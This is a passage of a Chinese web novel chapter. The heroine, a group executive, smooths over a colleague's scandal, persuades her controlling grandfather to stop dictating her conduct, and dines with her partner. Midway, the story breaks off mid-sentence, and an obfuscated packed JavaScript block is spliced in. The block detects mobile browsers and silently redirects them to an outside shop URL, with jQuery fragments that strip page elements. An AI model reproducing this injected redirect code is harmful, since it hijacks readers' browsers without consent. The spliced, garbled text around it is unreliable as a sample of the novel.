傅珺瑶眸色沉了沉,瞟了眼时间,朝向周锦,冷声道:“行了,保安还没上来,你先把她带到电梯那边去,再大点声外面的人全知道了。” “可这边出去外面的人也……”周锦显然犹豫。 傅珺瑶转动下巴:“走私人电梯。” “那边万一遇上董事他们……” “不是有两部梯?你按左边的,那一般只有我坐,我去给聂秘书打电话,让她带着保安走私人电梯。” 傅珺瑶沉肃的脸色明显认真,周锦没再犹豫,“好!” 周锦几乎使出全力圈紧女人,直接拖着她走内侧长廊,往私人电梯去。 傅珺瑶留在原地,盯着两人的背影,唇边漾开抹轻笑。 她退至门后,轻倚在门边,双手交叠,食指不紧不慢敲在手背。 一下、两下…… “你这是在干什么?!”周董不悦的低吼陡然撞进耳道。 傅珺瑶食指敲击的动作停下,重新站直。 “爸,不是…是她…是她来污蔑我的!” “你们这群烂人!!周锦,都是你把我害成这个样子!不是你带我去跟那群人喝酒我就不会这样!周董,你不知道你的好儿子…唔……” “你给我闭嘴!!” 傅珺瑶长腿很快往外迈,高跟鞋踏出的清脆回绕在走廊,她目标明确,冲着女人快步走过去,最后帮周锦同时拉住她。 面前几位董事齐聚,傅珺瑶一眼对上人群里那双不怒自威的灰眸。 视线交汇的那刻,灰眸在她身上迅速扫视了下,轻轻缩起,却没拖走僵凝的面色。 傅珺瑶大半个身子挡在女人前面,视线平扫过面前的几位董事,轻轻扯唇,语气沉静:“董事长,真抱歉,今天上午突然出了点小插曲,这位小姐她遇到了点坏脾气的事,对周锦有点小误会。这不,一时没找到解决办法,情绪就激动了点儿。” “我也是想快些恢复工作环境该有的样子,所以才跟周锦商量先把这位小姐带下去安抚安抚心情,也是想避免给您几位开会造成困扰,没想到在这会碰上,还请您几位不要介意。” “不唔……”女人挣扎着还想说些什么,周锦一个使力,把她后面的话完全堵住。 傅珺瑶弯弯眉眼,继续:“说起来今天上午我和周锦一直忙着项目的事,这突然被打断已经是耽搁,可别再耽误了您几位的会议,这边我们来解决就好。” “是…是啊……”周锦尽量压制怀里的女人,应和的语气不稳。 旁侧的周董很快站出来,脸上原本停留的阴沉扫荡一空,望着傅珺瑶露出抹笑,又挪脚,彻底挡住周锦禁锢的女人,面朝傅老爷子。 “傅董、各位,咱们也别耽搁时间了,快进会议室吧。” 老爷子没动,沉肃的视线扫向傅珺瑶。 傅珺瑶旋即浅笑,平稳的语气带了几分若有似无的柔和跟讨好:“董事长,会议室内我已经让人提前备好茶水,您请。” 她抬起手,动作不紧不慢。 老爷子没说什么,扬手抻了抻西装袖口,低哼一声,往会议室的方向走。 “张董、李董、孙董、杨董、贺董,请。” 傅珺瑶手没放下,最后侧身朝向周董:“周董,您请。” 周董下巴轻点,等前面的人走远些,压低声音道:“珺瑶,我这儿子的烂摊子,还得麻烦你了。” 傅珺瑶没接话,只笑了笑。 聂秘书适时带着保安上来,很快钳制女人。 傅珺瑶的脸色也跟着压下来,“不要让她乱说话。” 聂秘书稍稍颔首,按下电梯门,跟着女人愤恨的双目一起被挡在门后。 傅珺瑶转过身,淡漠睨了眼周锦。 他被盯得浑身不自在,着急解释:“那女人她是……” “你下次好歹注意点,弄到集团来,能有不透风的墙么?”他话没说完,傅珺瑶已经打断。 周锦一怔,稍微紧张的眉眼松懈,舒了口气。 “吓死我了,我还以为你要为难我,傅总,还是你够意思,刚才幸好你在。你放心,我绝对不会有下一次的!” 傅珺瑶轻点下巴:“回去工作吧,聂秘书会帮你处理那女人的。” 周锦瞬时包袱全无,笑得散漫轻挑:“好嘞!” 等他那间小办公室的门关紧,傅珺瑶的脸色彻底沉下来。 她撇了撇嘴,直接去了卫生间。两只手放在水龙头下,仔仔细细地洗过一遍,连手腕和指缝都不肯放过。 水流声中断的那刻,她抬眸,盯着镜子里自己的眼睛。 周锦果然比她想象中的,还要烂。 - 再回办公室的时候,聂秘书已经等在里头。 “那女人解决好了?”傅珺瑶问。 聂秘书点头:“已经跟那位小姐沟通过了,您的卡我也给她了,并且告诉她,这是她目前能选择的最好的一条路。” 傅珺瑶嗯了声:“安保部门的工作不到位,查到是谁的问题,扣工资。如果下次再出现这种情况,直接走人。” “明白。” - 桌上聂秘书重新端进来的咖啡再次凉透,傅珺瑶换了个姿势,右手撑着下巴,左手拿着笔在废纸上随意乱画。 旁边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360368|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机屏幕半熄,每看过去一眼,时间就多一分钟。 嗓间有些干。 傅珺瑶下意识抬手,去拿咖啡,可没喂到嘴边,又放了回去。 咖啡因刺激大脑,反而更容易紧张。 她无声思索。 “咚咚咚” 办公室门敲响。 “进。” 傅珺瑶应声抬头,眼底迎面撞进聂秘书抱着的那捧花。 “傅总,董事长已经结束会议回办公室了。这是楼下刚送过来的花,同样,没有署名。” 五支粉帝王在那捧花里依旧最显眼、依旧最特殊。 夹在旁侧粉玫瑰里的卡片上带着很简单的一行字。 【多次浴火,也能重生】 傅珺瑶稍微紧绷的肌肉慢慢松懈,一声快意的哼笑跟着胸腔里憋了很久的气息吐出来。 是。 多次浴火,也能重生。 爷爷的威压再重,她不也撑到现在了么。 “帮我把这束花打理好,看好周锦,不要让任何人到楼上打扰。”傅珺瑶把花递给聂秘书。 “明白。” - 再一次。 她再一次站在这扇冰冷沉肃的大门前。 不同于之前那种本能的抵触和隐隐的恐惧,她现在更像是为自己即将得到想要的东西而兴奋战栗。 从当初谋划和沈述白主动失忆开始,她不就一直在预想这一天吗? 失忆,既是忘掉仇恨,给她和他带来合作的机会,是试探苏津南,也是忘掉恐惧、忘掉自己的牺牲观念,得到一次她完全为自己反抗的机会。 过程虽然不完全如她所想,但…她还是成功走到这一步了。 这就是真正的浴火重生。 证明她傅珺瑶,注定能够破局,注定能够得到她想得到的自由和权力。 她深吸口气,两指在门上轻轻叩响。 进门转身的一瞬,她不偏不倚对上老爷子的双目。 “董事长。” 老爷子没急着应,花白的眉头蹙了蹙,语气稍微不满:“珺珺,刚刚在楼下我没说你,披着头发像什么样子?上班就不要穿裙装了,你看看这样像什么样子?” 傅珺瑶暂时沉默,没去看这身衣着,反而挺直背脊,下巴微抬,头顶的灯光钻了空,大摇大摆迎入眸底,照得里头的强势无处遁形。 “董事长,今天我过来,是想来找您兑现之前您答应过我的赌。” 老爷子面露不悦,慢悠悠端起茶杯,小抿了口。 “你那个赌不适合在恒璟说,等回家再说。” 傅珺瑶眯了眯眼,问:“我还没说是什么,您怎么就断定不适合在恒璟说?” 老爷子抿茶的动作一凝,灰眸迅速劈过来,却又在对上她的视线后,轻轻颤了颤。 茶杯“嗒”的一声立在桌上,清绿的茶汤隐隐不安地晃荡,始终没有平息的意思。 几秒的沉默,老爷子胸有成竹道:“你不就是想,让我答应你和沈二联姻?联姻这事得当着你爸妈的面说。” “不。” 傅珺瑶沉稳又笃定地吐出这个字。 老爷子眉头往内挤了挤。 “我要的不是联姻。”她再次否定,“我要的,是您不再掌控我。” 那双花白的眉毛蹙紧,紧随而来的,灰眸中爆出几分小火星,稍加不注意,便会撞出难以压制的火球。 傅珺瑶的手捏紧,又松开。 继续:“不掌控我该穿什么衣服、该化什么妆、该做什么事、该怎么说话、该怎么强势、该和什么人交往。” “怎么,稍微纵着你一点,你就想反天?” 几秒的沉默后,老爷子慢慢挤出这句话,话语底下明显藏着怒气。 傅珺瑶突然往前走了两步,唇边勾出抹浅笑:“可是爷爷,事实证明,我并没有反天。我今天这一身,丝毫没有不得体,不是吗?” 那双灰眸中的凌厉丝毫不减。 “珺珺。”他的声音混进办公室内的凉气,直直地往傅珺瑶身上打:“我告诉过你,你如果真想往上爬,就得按照我说的做!你打眼往几个高层里面看看,哪一个不是强势有手段的老狐狸?你作为这里面唯一的女人本就是异类,我所有的安排都是为了你好,你怎么就不听爷爷的呢?!” 话音落下,傅珺瑶面色不改,眸底没有掀起半分波澜。 “可您看到了,我今天就算是穿着这一身,那些董事对我不也是一如既往的态度?” “爷爷,其实您心里门清,职场里靠的是实力,他们认的是傅珺瑶这个名字,而不是穿什么衣服、化什么妆、多么多么强势的傅珺瑶,只是因为咱们集团暂时还没有女高层,您没有参照,所以才按照您纯熟的那一套来培养我,可既然我都进了这个门槛,那我不就是标准吗?” 老爷子眉头锁紧。 似是办公室里的凉气温度太低,老爷子唇色隐隐发白,肩口也跟着发颤。 傅珺瑶主动上前,拿过老爷子面前的茶杯,在恒温净水器下重新添了水,热意升腾,雾气裹着凉意消散。 她继续:“而且您不是总跟我提起大伯,说当年他总是说我未来会成为恒璟的第一位女高层,那我都是这个第一了,自然得让我来制定这个新标准嘛,总不能让大伯当年送我的那枚权杖戒指只是个空头摆设,您说呢?” 老爷子轻睨过眼前的茶水,再转头时,迎上傅珺瑶盈满笑意的眸。 他沉哼:“我说?我说你是翅膀硬了!恐怕再过不久,我这董事长的位置也该让给你了!” “可您之前不是说过吗,翅膀硬点是好事,这里可不是什么过家家的地方,我稍微做的不好,有的是人想让我走。至于董事长的位置,爷爷,您可领先我几十年,您的见识、手腕、权力,哪一个不比我更强更硬?我就是再怎么耍宝,也没法比过您啊。” 说罢,她主动挽上老爷子的胳膊:“况且您知道的,您这么多年来一直都是我最最尊敬的人,一直都是我的榜样,没有您,我在恒璟施展起来都没有动力。” “哼。”老爷子轻嗤,到底没推开她,话语中的怒气却没消:“尊敬?榜样?我看你只是说说而已!你如果真视我为榜样,就该好好听我的话!既然知道这里不是过家家的地方,就更应该事事严谨!” “怎么会只是说说而已?”傅珺瑶脸上的笑意明显带着讨好:“从我大学进来做的那些项目,还有现在恒璟每年的产值、净利润,这可是大家有目共睹的,我的成就不都是多归功于您嘛,而且您不是也一直因为我的实力最相信我了嘛。” “您相信我、对我抱有更高的期待,您不希望我变成哥哥那样,所以对我更严苛,我都明白,您只是担心我、在乎我。可也正是因为您相信我,就该适当对我放放手,不要用您的方式庇佑我、让我永远都在有您的舒适区里嘛。” “您不是也说过,傅珺瑶是未来要担起整个傅家的傅珺瑶,那不就是得翅膀硬点,能离开舒适区也能让恒璟越做越好吗?况且您难道不想看看,离开您给的庇佑,我的实力还能不能征服那些董事吗?” “……” 老爷子剜她眼,胸廓的起伏加快,吐出略微粗重的气息。 傅珺瑶眉眼弯得更深:“如果这种情况下我还能坐稳这个位置,甚至能再往上爬,也能让周锦再也进不来,那我们傅家,不就再也不会有输的余地了?” 老爷子猛地一怔。 傅珺瑶的语气完全听不出一丝狠戾,却就是莫名让他背脊发颤。 老爷子抿了口热茶,默然片刻:“刚刚那个女人,是你帮周锦处理的?” 傅珺瑶无声点了点头。 “你把周锦放在身边,不怕他暗地里捅你一刀?你不帮他,没准还能让他走。” “可您也看到了,周董也在。他把周锦弄到我身边,讲实在的就是想让他接替我,张董退休又还有两年,咱们的势力说到底还不稳定,我卖给周董这个面子,未必不可取。” “您也说了,这事如果我不帮,周锦其实也不一定能走,而我稍稍一伸手,就能让周董更放心把他的好儿子留在我手下,未来也能让他心甘情愿地把他的票投给我,您比我老道,肯定不会不懂这其中的利弊得失。如果您真不赞同我帮周锦,您刚刚在楼下就会开口赶人了。” 那双苍老却犀利依旧的灰眸带着审视沉下,藏在松软皮肤下的喉结动了动,拖出微厉的沉吟。 似是知道老爷子想说什么,傅珺瑶又主动提及:“至于到时候我的位置,虽然您不满意哥哥,但哥哥好歹是咱们傅家的,他的能力也算得上是上等水平,与其选择周锦或者外人,不如让哥哥站稳脚跟。” 老爷子没否认,语气冷冷,反问:“你就没想过你把你哥弄进来,周董为难你?” 傅珺瑶松开老爷子的胳膊,在他面前重新挺直腰背,仿若丝毫不惧这个未知性的假设:“董事长,如果怕为难,您也不会让我坐上总经理的位置。您的相信我,早就包含了相信我的一切,相信我根本不怕为难。” “……” 老爷子慢慢吸了口气,面上的沉肃依旧,怒意却不知道在什么时候完全消散。 到底是什么时候,她真的变了副模样。 她的每一句话都是想脱离他的掌控,分明脸上没有一点他教给她的强势,也不具一毫威严,可那张素净的脸上就是有种让人拒绝不了的攻击性。 他心底其实本能的有些生气,可怒意之外,却藏着隐隐忌惮和惧意。 这是他亲手培养起来的孙女。 是他最满意的继承人。 虽然她是个女孩,但她比那个让他失望的孙儿强太多。 他想掌控她,可……他如果真拒绝了,她会不会真的就应了那个赌? 辞去恒璟的职务。 怪不得…怪不得当初她要压上这个条件。 原来不是为了沈二,是为了她自己。 老爷子的视线始终在她身上打量。 傅珺瑶的神色慢慢收敛,眸底蓦然多了几分郑重。 “董事长,首先,我感谢您,感谢您给了我先天条件、给了我入场的机会,感谢您对我的栽培和庇佑,我才能一步步走到今天,站在靠近中心的位置。但现在,我想请您给我一定的自由,在我的作风行为没有任何错误的情况下,真的不再干涉我、掌控我,我能给您保证的,就是让恒璟每年年末反馈上来的数据越来越漂亮,让恒璟走得更远、站得更高。” “您说过相信我,同样的,我也相信您,相信您不会做不好这个双赢的抉择。” “……” 她这哪里是让他做抉择,这分明是只给了他这一个抉择。 “当然,上次的赌约您都答应得那么爽快了,这一次又怎么会犹犹豫豫不清楚呢?我还经常听我爸说,他有一个十分洒脱又伟岸的父亲,他的父亲,从来都是最明事理的人!” “……” 老爷子再次拿起茶杯,没触及嘴边,他蹙眉轻啧了声,又放了回去。 傅珺瑶即刻上前,倒掉凉透的茶汤,重新接了热水。 最后双手奉上:“爷爷,您请。” 老爷子没好气睨她眼:“你真不怕再给我气发病!” “这不吉利的话可别说,上次您生气是因为和沈家的恩怨,您和我之间又没有恩怨,怎么可能会生气呢?” “……” “行了行了,上班时间赶快出去工作,不愿意我管你就给我再做得谨慎点,别让我抓住你的把柄!” 傅珺瑶敞亮一笑,颔首道:“谢谢董事长!” 老爷子绕了绕手,接连几口抿茶,不发一言。 - 电梯门合上的瞬间,傅珺瑶终于重重的沉了口气。 她转身,对着电梯里的半身镜,下巴轻抬。 不管怎样,这一战,她赢了。 她不要再以他们的定义为标杆,不要用他们的方式存活。 她又何尝不知,爷爷以前嘴上的确说着把她和傅淮湛一视同仁,可他就是更偏爱傅淮湛,什么经商、掌权他永远都是教给傅淮湛更多,如果不是她真的比傅淮湛强了,如果不是傅淮湛受不了爷爷给的压力跑了,她根本不会有这个掌权的资格。 傅淮湛离开,爷爷就把压在他身上的那套原封不动搬到她身上来,可她不是男人,她也不想用男人的那套来规训自己。 她都走到这里了,她一定要自己说了算。 她一直都明白,其实根本没有所谓的公平对待,既然如此,她就只能做到让任何人都替代不了她,让她想要的位置,就只能非她不可。 梯厢内的光线透过镜面折射/进眸底,那里头的利刃逐渐汇集光点,聚成再难磨灭的锋芒。 电梯门开了。 傅珺瑶眼皮稍垂,只一瞬,锋芒尽掩。 她转身,回了办公室。 空荡的梯厢内,只留下声沉静又略带柔和的轻笑。 82. 27 临下班,傅珺瑶收到某人的消息。 【楼下等你。】 傅珺瑶没耽搁,拿着包准备走。 外面聂秘书也准备下班,她瞟了眼空空荡荡的小办公室,问:“他后来还安分吧?” 聂秘书点头应:“被周董叫走了一次,回来之后工作了会,不过没多久就把百叶窗关上了。” 傅珺瑶脸上表情倒没什么变化,似乎这个答案完全是她意料之中的。 “行,周末好好休息,拜拜。” 和聂秘书简单道别,她的脚步忍不住加快。 心跳随着两条腿交替的频率渐快,披散在肩头的长发适时耸动,唇角也跟着上弯。 宽旷的路面停车场内,她一眼看到最熟悉的那张车牌。 高跟鞋“嗒嗒嗒”的声音变速,她熟练拉开车门,长腿跨进副驾驶座。 “沈总倒是来得挺早嘛。” 她轻扬的嗓音跟着回荡在车内。 只是视线刚对上他,她的肩脊又蓦然僵了僵—— 男人那双褐眸轻缩,从车窗透进来渐暗的光线没入眼底,照得那片琥珀海清润柔和,除此之外,那眼底还揉杂了几分惊讶。 如果非要用一个词来形容他这会的表情,傅珺瑶最能想到的一个词是:眼前一亮。 她循着他的视线往自己身上瞟了两眼,了然笑笑,顺手扒过安全带系上,问:“这一身全胜归来的战袍,如何?” 沈述白维持着那个姿势,双神怔愣好半天,幸得她的话语刺激,两颗深褐色的眼珠才慢悠悠转动。 打理得一丝不苟的黑衬衫上方一点,他的喉结上下动了动,像是把要说出口的话在那里反复加工,等满意之后,才开口:“很适合你,是你最喜欢的,既能满足你的需求,也很得体。” 傅珺瑶满意地笑出了声。 这个男人,还真是什么时候都能说到她心坎里。 她倾身,对准他的唇,直直地吻了上去。 沈述白也没躲,迎上她的香气和柔软。 傅珺瑶只浅吻辄止,短暂的交叠后便松开他,脸上笑意完全绽开,“要不说谁都替代不了你呢?快走吧,今天太费心神了,我的脑力细胞们需要好好滋养一下。” 黑色奔驰拖着夕阳的余晖,匀速涌入车行道。 傅珺瑶深吸了口气,浑身的肌肉放松,松散地往后一躺,把肺腔里的那点浊气尽数吐了出来。 “先吃块巧克力垫垫肚子。” 身侧的男人单手扶稳方向盘,从中控台的小置物箱里掏了块草莓味的巧克力给她。 “你怎么还有这个习惯?”傅珺瑶利索拆了包装,巧克力塞进嘴。 还是和上次一样的酸甜味,那股醇甜很快刺激多巴胺的分泌,瞬时的愉悦很快占满躯体。 “我妈有点低血糖,她偶尔会坐我的车,上次看你也挺喜欢,就多买了点。” 傅珺瑶点了点头,脑海中跟着回想苏俪嫀的身影。 她对这个女人的印象实在少。 只知道她出身书香门第,家族祖祖辈辈都是出了名的政/客,她也是很能叫得出名字的外交官。 上次和沈述白闲聊的时候也只听他提起几句,说她在家里是完全不可或缺的调和剂,对外干练,对内温柔,他所有的沟通技巧和三观形成大部分都是从她那里学来。 “苏阿姨是个怎样的人啊?我家里也没有干外交官这行的,是不是在苏阿姨面前说话不能太投机取巧?”傅珺瑶搓了搓手,一连几个问题。 沈述白明显听懂:“你想去见她吗?我奶奶前不久还说想请你去家里坐坐。” “这么快?!”傅珺瑶肩背瞬间紧绷,坐直身子。 车子在十字路口停下。 “不用紧张,我是想等你准备好再说的。不用担心,我妈很好说话的,我奶奶虽然有的时候很严,但私下里真的是位慈祥的长辈,我爸无条件和我妈站在一边,我爷爷虽然有点固执,但只要奶奶点头,他就没有异议。” 沈述白三言两语,把家里每个人的情况说完。 傅珺瑶又靠了回去。 “等我再好好研究研究他们的喜好。” 她不喜欢没有任何准备的去干比较重要的事。 沈述白点了点头,声音掺入橙红的晖光,和煦如旧:“好。不过傅总是不是也该给我透点底?在李阿姨和傅伯伯那,甚至傅爷爷那,我应该留着不少刻板印象吧?” “我爸妈其实还好,我爷爷之前确实是,不过现在也还行吧。” 窗边静止的景色又开始快速往后移动,傅珺瑶顺着话说出来:“我妈妈就是淮大哲学系的教授,我爸呢就是我爷爷眼底典型的‘离经叛道’的孩子,去干了文物修复,我妈和我爸性格都挺随和的,而且他俩对我的要求就是我喜欢就行,只要不是差距太大的,他们都能接受。” “我爷爷就是个相当传统的老头了,强势又霸道,控制欲还特别强,典型的吃软不吃硬,跟他说话得圆滑点,我失忆刚回来那会就是吃了沟通生硬的亏。” “不过说到底,他其实也是在为傅家着想吧,我奶奶去世之后他就彻底没了什么精神依靠,所以只要顺着他点,基本没什么问题,而且咱俩之间也不存在什么恩怨了,在一起了也不是坏事,他能分清那其中的利弊。” “那你哥呢?”沈述白又问。 说到傅淮湛,傅珺瑶撇了撇嘴,沉吟半刻道:“我哥…他应该是那个对你刻板印象最重的,不过他性格不是很强硬,肯定是比我爷爷好拿捏的。” 沈述白沉默几秒,不知道在思索什么。 “哎对了,我一直都想问你。”傅珺瑶突然想到件事。 “你那会为什么会送我粉帝王?” 她问的是她去启行跟他产生争执的第二天,她就是因为那束粉帝王才去见他。 如果说后两次他是因为她在洱南跟他说过的鲜活、自由,那一次又是因为什么? 沈述白短暂怔愣,反应过来她说的哪次。 他空出来的手搭在那颗黑色耳钉上,轻轻捏了捏。 清晰的下颌线拖着稍微弯起的唇角,再往上,傅珺瑶依稀能看清他眸底闪烁的微光。 他解释:“那个时候我是想,得找个常见但又比较特殊的东西,得先和你好好谈谈,毕竟是为了共同的利益着想。我奶奶当时虽然确实不同意跟恒璟有来往,可启行当时有个大单出了问题,亏损有些出乎意料,加上销售方面也不是很理想,我想你既然有那个意思,大不了先斩后奏。” “我也是那天在环湖公园遇到你,看到你完全另一副模样,大剌剌地坐在圆墩子那吃螺蛳粉,当时就想,一向雷厉风行、眼底只有利益又守规矩的傅总,私底下居然还有那样一面?不过傅董事长的强势和固执也是出了名的,加上你哥哥的那会离家出走的事,我大胆猜测,傅总身上是不是还藏着不为人知的东西。” “斗胆选了粉帝王,其实也不过是一次不知道答案的试探。” 他不紧不慢说完最后一个字,脸上的笑意没有慌忙褪去。 傅珺瑶本能地侧过身来,那双黑眸紧紧盯着他。 他分明没看她,可她就是觉得有什么东西从他眸底伸出来,直愣愣地钻进她的双眼,沿着神经往内穿梭,牵动心脏。 “怦怦怦” 不是因为他说出口的话。 是因为他藏在这些话下面的话语。 她听懂了。 他根本不是什么大胆猜测,是他就已经想到了。 从见到那样的她之后,他就已经能大概确定,她处在一种怎样的境况里。 就好像,他直接看到了她藏在身后的“困境”。 其实他也是知道答案的。 那天花束里的卡片就是最好的证明—— 【下午两点,云庭楼云顶阁,谈合作。】 他这样说,不过是给了她面子。 毕竟没有人想被人不留余地地“看破”。 只是被他看破,她没有觉得多恐慌,反而有一种,终于找到那个她想找到的人的感觉。 就像收到花的那瞬间,心底暂时空白的那块突然被填满。 想到这里,傅珺瑶没忍住笑了出来。 “怎么?” 她坐正,头撇向窗外,眼底的情绪混入渐暗的傍晚。 选择失忆的那一刻,她不也想过那种可能吗? 傅珺瑶尽量压下扬起的嗓音,摇头:“没什么,就是觉得……你胆子挺大。” “不过你就凭见了我那样一面,真能想到那么多?”傅珺瑶还是好奇。 按照他的家庭环境来看,他对那种传统压力带来的束缚感触应该不深才对。 “是以前从我妈那听到点概念,她说可以多锻炼自己的思维方式,跟人交流时,不管是言语还是行为,可以多试着去思考这背后的底层逻辑,如果条件允许,可以参照这个人的基础背景,试着去粗略关联,再结合自己的经验积累,去判断这人的动机。说简单一点就是多深度思考,用在外交上能快速判断出一句话背后的动机,方便迅速应答。” “我偶尔会借用这种思维模式,而且毕竟也是事关工作嘛,自然而然想的就更多。” 傅珺瑶眯着眼,玻璃窗外闪耀的霓虹照进眸底,也跟着照亮心底的某一块角落。 下巴轻点,嘴唇撅起,苹果肌缓慢上推,脸上的笑意逐渐漾开。 “不过傅总胆子也不小。”沈述白又突然说了这么一句。 “嗯?”傅珺瑶转头,眸光重新对准他。 “抱着抛弃‘牺牲观念’的心态,把自己也当作赌局的一环,这种胆量,沈某恐怕还得练个几年。” 她知道他什么意思,故意学他:“沈总可别跟我谦虚了,我身上好歹还抱着私心,您纯是为了家族和利益把自己搭进去,这种气魄,傅某恐怕也还得再进修进修。” 稍微加重的呼气声从男人鼻尖溢出,“那这么说我们还挺相像、挺合适的。” 傅珺瑶眸光颤了颤。 视线下移,定格在那颗黑色耳钉。 窗外的灯光投射,黑曜石隐隐发亮。 傅珺瑶不动声色收回视线,声音低平,略带深意:“可如果只有相像跟合适,好像还不怎么够哦?” 话音落下时,一声轻飘飘的哼笑拂至耳边,带着股微热的痒意,在她耳膜上缓慢扫刮。 “是不够,不过时间还长着。” 傅珺瑶再次瞥向另一侧窗外,嘴角压不住地往上扬。 落在耳边的热意渐浓,烧得她耳颈隐隐发烫。 心脏鼓动的速度加剧,中枢顶着情绪正欲往外发散,男人的声音再次传来:“毕竟你还欠我213个吻和237次。” “……” 才冒了个头的情绪瞬间终止。 他真是一点煽情的机会都不给她留。 “闷骚怪。” - 沈述白订的是一家私密性非常高的会员制私房菜餐厅,一般需要提前半个月甚至几个月预约,不过好在沈述白的舅妈是这家餐厅的大股东,这才帮他订了间包厢。 餐厅位处市中心,是很典型的老洋房风格。 “傅小姐、沈先生,请。” 两人被侍者带着入场,富丽堂皇的大厅里,悬在正中的吊灯耀眼垂下,暖黄的光线四散,照亮整个空间,甚至连墙上雅致壁画里的细节都不放过。 一股温润的清香混杂在空气里,仿佛瞬间给餐厅盖了层朦胧的薄纱,隐隐带人沉迷。 傅珺瑶闻出来,那香好像是LeLabo?ThéNoir29,一款红茶香很明显的法国香水。 傅珺瑶挽着沈述白的胳膊,跟着他走进包间。 和外面的风格大差不差,包间里的灯要更暗一些。暗棕色的圆桌上米白色的餐布严整铺好,正中间摆着台暖黄的氛围灯。 沈述白上前,拉开棕色的座椅。 傅珺瑶别了别耳后的长发,顺势坐下。 “傅小姐、沈先生,今天的菜单是咱们主厨自创的【江湖海】系列菜,包含了新鲜刺身、澳龙、松叶蟹和野菌这些,请问二位有忌口吗?” 两份定制菜单送到两人面前。 傅珺瑶瞟了眼菜单左下角,朝着沈述白摇了摇头。 “没有,麻烦你先给我们倒两杯温水。”沈述白干干脆脆道。 “好的,二位稍等。” 两杯温水送进来,侍者退至包间门口等候。 “他们家口味偏咸鲜,是你会喜欢的那种。”沈述白说。 傅珺瑶不紧不慢抬手,懒懒撑着下巴,一双黑眸直勾勾望着他,试探的语气里带了几分调侃:“还是沈少爷面子够大,能让周五的定制菜单换成周二的。” 沈述白眉眼稍怔,旋即前倾身体,唇边勾出抹浅笑:“也没有,只不过负责二号定制菜单的主厨今天恰好得了空,人家心情好,勉强答应了我这个请求。” 傅珺瑶轻轻挑眉,话不点破。 事实也证明,沈述白订的餐厅、指定的餐品都是最符合她口味的。 所谓“江湖海”,就是粤楚融合,咸鲜酸甜应有尽有。 前菜一道四喜临门便已经让傅珺瑶忍不住咽口水。 深棕色的酸枝食盒分隔四格,傅珺瑶先夹了冰镇鲍片。 侍者简单介绍过,八头的干鲍发透后切片再冰镇,沾料碟里的酱油食用。 脆嫩弹牙的鲍片在嘴里慢慢咀嚼,沾料的咸鲜过去之后反而回着抹浅甜,口感不算单调。 四块蜜汁豚肉叉烧被桌上的氛围灯照得盈盈发亮,吃进嘴外焦里嫩,浓甜的蜜汁在嘴里爆开,是很经典的粤式风味。 一小碟洪湖藕带浸在清亮的泡椒水里头,酸意恰好中和了叉烧的甜,不至于腻口。 最后是小块三文鱼牛油果塔塔,最底下的法棍切片上抹了层黑松露奶酪,牛油果碾成泥铺匀,隐隐带着股青柠香,最上面的三文鱼中段切丁铺满,少许罗勒碎点缀。三文鱼的软糯混着牛油果的绵密,掺入黑松露奶酪独特的味道,这道前菜口感是最丰富的。 “这个三文鱼塔塔味道好丰富,你要不要考虑学一学?”傅珺瑶擦了擦嘴,朝对面的男人绽开笑脸。 沈述白答应的很爽快:“好啊,下次在家里给你做。” 傅珺瑶顿了顿。 家。 他们的家吗? 思绪没来得及延伸,汤品已经上桌。 清甜的藕汤并不是直接盛上来,米白色的汤碗里托着几块诱人的排骨和浅粉的藕,侍者端着汤壶上前,棕粉醇厚的汤汁像是鲜奶茶,瞬间没过碗里的食物。 傅珺瑶浅浅勾唇,这餐厅花样还挺多。 咸鲜恰到好处的汤汁顺着食道下淌,几乎包裹每一个味觉细胞。 主菜一上来,前面的菜都显得不过如此。 一道溏心干鲍鹅掌煲完全吸引傅珺瑶的视线。据侍者介绍,他们选用的是28头吉品鲍,是提前用老母鸡、猪蹄慢火扣炖过,口感非常鲜美。 沿着正中把鲍鱼切开,深棕色的鲍肉裹满稠汁,傅珺瑶送进嘴里,满意点头。 侍者又在一旁补充:“其实这道菜是咱们主厨和妻子在结婚前一起研究出来的一道菜,有个特别的名字叫‘执子之手与子偕老’,这么多年过去,他们俩也恩爱如初,所以很多情侣都会特地预约这份菜单。” 傅珺瑶身形一僵,下意识掀眸,对上那双本就看向她的褐眸。 嘴里的食物突然忘了咀嚼,手里的动作也凝滞在原位。 结婚? 所以他…… 她无声收回视线,原本酣畅的味道突然有些杂乱,咬肌慢慢发力,她继续咀嚼的动作。 男人礼貌回应侍者:“那我们是赶巧了。” 又再次看向她:“这个寓意还挺不错的。” 傅珺瑶咽下嘴里的食物,伸手去拿面前的温水,等喉嗓湿润,才不紧不慢对上男人的眸子。 暖黄的灯光氲得包间里的空气软了力,黏黏糊糊的挤在一起,藏住了很多情绪。 “有想法了?”她问。 沈述白没有很快回答,盯着她看了两秒,鼻腔发出声哼笑:“只是觉得我们还挺幸运,感慨一下。” 傅珺瑶背脊缓慢挺直,又很快小幅弯下去些,再挺直,重心悄然移位。 她只点点头,继续品尝下道菜。 上汤焗澳龙的味道中规中矩,后面跟着的红烧鮰鱼肚很糯,鸡油扒野菌算是把咸鲜贯彻透了,最后的主食松叶蟹黄拌面称得上是MVP,收尾的桂花酿圆子清口。 舌尖和味蕾甚至于胃里都得到了极大的满足,这顿饭傅珺瑶其实吃得很满意。 只是…并没有完全松懈。 以往跟他在一块,她的身体下意识都会放松下来,因为在洱南习惯了。 可今天…… 一直到两人从餐厅离开,重新回到车上。 傅珺瑶一瞬不瞬望着前方,随手捞过安全带扣紧,暂时没说话。 是他先开口:“今晚带你去个特别的地方,好不好?” 两颗漆黑的眼珠终于舍得绕开刺眼的霓虹,转到他身上。 男人脱了西装外套,领带也解开放在了后座,黑色的衬衫上挽至胳膊肘。左手轻搭在方向盘,小臂浮起几根青筋,跟着肌肉线条往下延伸,收至腕口那块百达翡丽白金蓝盘表里。 傅珺瑶有时候都忍不住嘲几句,明明穿的衣服总是往低调了选,可挂在身上的又不那么低调,闷骚怪都这样吗? 然而转念一想,她自己也差不多。她闷骚吗?反正不及他。 